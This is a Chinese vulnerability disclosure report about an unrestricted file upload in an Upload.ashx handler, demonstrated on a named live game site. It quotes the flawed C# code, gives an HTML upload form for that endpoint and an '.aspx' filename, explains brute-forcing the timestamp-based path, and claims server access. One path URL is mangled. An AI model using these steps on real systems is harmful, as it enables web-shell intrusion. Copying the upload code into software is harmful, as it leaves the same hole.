### 简要描述：
上一发：http://www.wooyun.org/bugs/wooyun-2014-048510
但是为啥给走小厂商流程了，
http://www.wooyun.org/bugs/wooyun-2014-047997 这哥们的还漏洞预警了……
@疯狗 狗哥帮忙！
### 详细说明：
官方案例：
http://52xinyou.cn/anli.htm
从案例里面选了12玩 http://www.12wan.com 做例子，其它雷同（个别有狗）
api里的upload.ashx文件产生的问题。
### 漏洞证明：
地址：http://www.12wan.com/api/Upload.ashx
```
……
extTable.Add("image", "gif,jpg,jpeg,png,bmp");
extTable.Add("flash", "swf,flv");
extTable.Add("apw", "apw");
extTable.Add("media", "swf,flv,mp3,mp4,wav,wma,wmv,mid,avi,mpg,asf,rm,rmvb");
extTable.Add("file", "cs,doc,ppt,pptx,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2,dll,exe,dbo,oleb");
HttpPostedFile file = context.Request.Files["Filedata"];
string _folder = context.Server.MapPath(context.Request["folder"]);
String fileExt = Path.GetExtension(file.FileName).ToLower();
string uploadPath = context.Server.MapPath("~/upload") + "\\";
bool nodate = false;
bool wname = false;
string folder = "";
if (Array.IndexOf(((String)extTable["image"]).Split(','), fileExt.Substring(1).ToLower()) != -1)
{
folder = "image";
}
…………
//如果以上后缀都对不上的话，直接命名文件夹为other
else
{
folder = "other";
}
if (nodate)
{
uploadPath += folder;
}
else
{
uploadPath += folder + "\\" + Utility.NowTime.ToString("yyyyMMdd", DateTimeFormatInfo.InvariantInfo);
}
if (file != null)
{
if (!Directory.Exists(uploadPath))
{
Directory.CreateDirectory(uploadPath);
}
//最后拼凑路径的时候直接使用了file.FileName没有重命名！
var fname = uploadPath + "\\" + Utility.NowTime.ToString("HHmmss", DateTimeFormatInfo.InvariantInfo) + file.FileName;
file.SaveAs(fname);
if (wname)
{
context.Response.Write(fname);
}
else
{
context.Response.Write("0");
}
}
```
也就是说文件后缀其实毫无限制。而且路径还是可猜测的！
具体利用（要点小技巧）：
Html利用代码：
<html>
```
<form action="http://www.12wan.com/api/Upload.ashx" name="test" method="post" enctype="multipart/form-data">
<input type="file" name="Filedata" size="23" id="file" />
<input type="submit" value="Submit" />
</form>
```
</html>
Content-Disposition: form-data; name="Filedata"; filename="a.aspx"
Filename处要小心，可能会带入如c:等路径会导致出错
上传之后会显示：
[<img src="https://images.seebug.org/upload/201401/101946393e720c03c5484f1893a19dc6ecd32423.png" alt="image003.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/101946393e720c03c5484f1893a19dc6ecd32423.png)
没有执行context.Response.Write(fname);直接将路径回显怎么办？前面有一个Utility.NowTime.ToString("HHmmss", DateTimeFormatInfo.InvariantInfo)拼接到了用户名前面怎么办？
仔细看Utility.NowTime.ToString("HHmmss", DateTimeFormatInfo.InvariantInfo)
HHmmss，意思就是说两位小时数、两位分、两位秒，好办了吧？
看看当前时间：
[<img src="https://images.seebug.org/upload/201401/101946577185158f0c58d178f14369b151f4bc40.png" alt="image004.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/101946577185158f0c58d178f14369b151f4bc40.png)
1933xx，大不了我们就从190000开始暴力破解吗，再看看文件夹路径Utility.NowTime.ToString("yyyyMMdd", DateTimeFormatInfo.InvariantInfo);
简单，如 20140110
好，拼接第一个链接先：
http://www.12wan.comhttps://images.seebug.org/upload/other/20140110/190000a.aspx
上神器：
[<img src="https://images.seebug.org/upload/201401/10194711f46e6516d87265ac83546bcdfa56d630.png" alt="image005.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/10194711f46e6516d87265ac83546bcdfa56d630.png)
设置payload
[<img src="https://images.seebug.org/upload/201401/101947310639a33cc568e0cd38c3ce6a8429bf87.png" alt="image006.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/101947310639a33cc568e0cd38c3ce6a8429bf87.png)
[<img src="https://images.seebug.org/upload/201401/1019481756044f702544e611a2b2fc04f1f56f5b.png" alt="image007.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/1019481756044f702544e611a2b2fc04f1f56f5b.png)
开打！
[<img src="https://images.seebug.org/upload/201401/10194744a0d0867a3e82630be03a11ad331969d3.png" alt="image008.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/10194744a0d0867a3e82630be03a11ad331969d3.png)
200了，找到路径
[<img src="https://images.seebug.org/upload/201401/10194834f27c87a58a3845ef6b51c2402dc284fd.png" alt="image009.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/10194834f27c87a58a3845ef6b51c2402dc284fd.png)
成功进入服务器。
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